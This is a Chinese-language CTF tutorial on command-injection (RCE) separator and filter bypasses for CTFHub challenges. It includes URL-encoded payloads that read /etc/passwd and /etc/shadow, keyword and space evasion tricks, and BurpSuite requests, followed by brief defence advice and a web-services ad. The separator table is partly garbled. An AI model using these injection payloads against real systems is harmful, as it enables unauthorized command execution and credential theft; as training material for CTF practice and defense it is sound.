CTFHub RCE 实战:5种命令分隔符绕过与BurpSuite实战分析
2026/7/11 19:35:22 网站建设 项目流程

CTFHub RCE 实战:5种命令分隔符绕过与BurpSuite实战分析

在CTF竞赛中,远程命令执行(RCE)漏洞一直是Web安全领域的重要考点。本文将深入剖析CTFHub平台上的RCE挑战,聚焦于命令分隔符的绕过技巧,并通过BurpSuite实战演示如何构造有效Payload。

1. RCE漏洞基础与命令分隔符原理

RCE(Remote Command Execution)漏洞允许攻击者在目标服务器上执行任意系统命令。这种漏洞通常出现在应用程序未对用户输入进行充分过滤的情况下,特别是当应用需要调用系统命令时。

命令分隔符是Linux/Unix系统中用于分隔多个命令的特殊字符,常见的有:

分隔符URL编码作用描述
;%3B顺序执行多个命令
&%26后台执行前命令,继续执行后命令
``%7C
&&%26%26前命令成功则执行后命令
``
\n%0A换行符,等效于执行新命令

在Web应用中,这些分隔符常被过滤,因此需要掌握多种绕过技巧。以下是一个简单的测试Payload:

127.0.0.1; ls -la /

2. 五种核心分隔符绕过技术

2.1 分号(;)绕过技术

分号是最基础的分隔符,但常被过滤。当直接使用分号被拦截时,可以尝试:

  • URL编码绕过:使用%3B代替分号
  • 空白分号:在分号前后插入空格或制表符
  • 多重分号:使用多个连续分号;;

BurpSuite实战案例:

GET /rce.php?ip=127.0.0.1%3Bcat%20/etc/passwd HTTP/1.1 Host: ctfhub.example.com

2.2 与符号(&)高级利用

&符号在URL中有特殊含义,需要特别注意编码:

  • 单&绕过:使用%26编码
  • 双重编码%2526(对%26再次编码)
  • 结合注释127.0.0.1%26%23 注释内容

实际测试时,可以尝试以下变体:

127.0.0.1%26ls 127.0.0.1%26%23x%0als

2.3 管道符(|)的创造性使用

管道符不仅能连接命令,还能用于错误输出重定向:

  • 基本用法command1 | command2
  • 错误利用||在第一个命令失败时执行第二个
  • 结合编码%7C%257C

典型Payload结构:

cat nonexistent_file || whoami

2.4 换行符(%0A)的妙用

换行符是最难过滤的分隔符之一:

  • 直接换行\n在Burp中可输入
  • URL编码%0A
  • 结合其他符号%0Acat%20/etc/passwd%0A

BurpSuite拦截修改示例:

POST /rce.php HTTP/1.1 ... ip=127.0.0.1%0Aid%0A

2.5 组合分隔符技术

高级场景中,需要组合多种分隔符:

  1. 分号+换行%3B%0A
  2. 管道+与符号|%26
  3. 三重组合;%0A%26

复杂案例:

127.0.0.1;%0Als%20-al%20/%26cat%20/etc/shadow

3. BurpSuite实战流程详解

3.1 拦截与修改请求

  1. 配置BurpSuite代理
  2. 拦截含有可疑参数的请求
  3. 修改参数尝试基础Payload

关键步骤

  • 使用Ctrl+R发送到Repeater模块
  • 在Decoder模块进行多重编码测试
  • 通过Comparer对比响应差异

3.2 Payload构造策略

基础探测

127.0.0.1; sleep 5

观察响应时间判断命令是否执行

信息收集

127.0.0.1; id; uname -a; pwd

文件读取

127.0.0.1; cat<flag.txt

3.3 绕过过滤的高级技巧

当遇到关键词过滤时,可以尝试:

  • 变量替换

    a=c;b=at; $a$b flag.txt
  • 反斜杠绕过

    c\at fl\ag.txt
  • 空变量干扰

    cat${x}flag.txt

4. 实战场景分析

4.1 过滤cat命令的绕过

cat被过滤时,替代方案:

命令功能描述
tac反向输出文件内容
more分页显示文件
less高级分页显示
head显示文件开头
tail显示文件结尾
nl显示行号

Payload示例:

127.0.0.1; more fl* 2>/dev/null

4.2 空格过滤解决方案

当空格被过滤时,替代方案:

  • IFS变量${IFS}$IFS$9
  • 重定向符号cat<flag.txt
  • 制表符%09
  • 花括号{cat,flag.txt}

4.3 目录分隔符绕过

/被过滤时,替代方案:

  • CD切换目录

    127.0.0.1; cd flag_is_here; ls
  • 变量替换

    d=$(echo -e "\x2f"); cat ${d}etc${d}passwd
  • 通配符

    cat /???/pass*

5. 防御建议与总结

虽然本文重点在于攻击技术,但作为负责任的网络安全从业者,必须了解防御措施:

  1. 输入验证

    • 使用白名单验证所有用户输入
    • 过滤所有特殊字符和命令分隔符
  2. 安全编程

    • 避免直接使用用户输入构造系统命令
    • 使用安全的API替代系统命令调用
  3. 环境加固

    # 示例:限制命令执行权限 chmod 750 /bin/{ls,cat}

在实际CTF比赛中,RCE挑战往往需要结合多种技术。建议从简单Payload开始测试,逐步增加复杂度,同时注意观察服务器响应细节。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询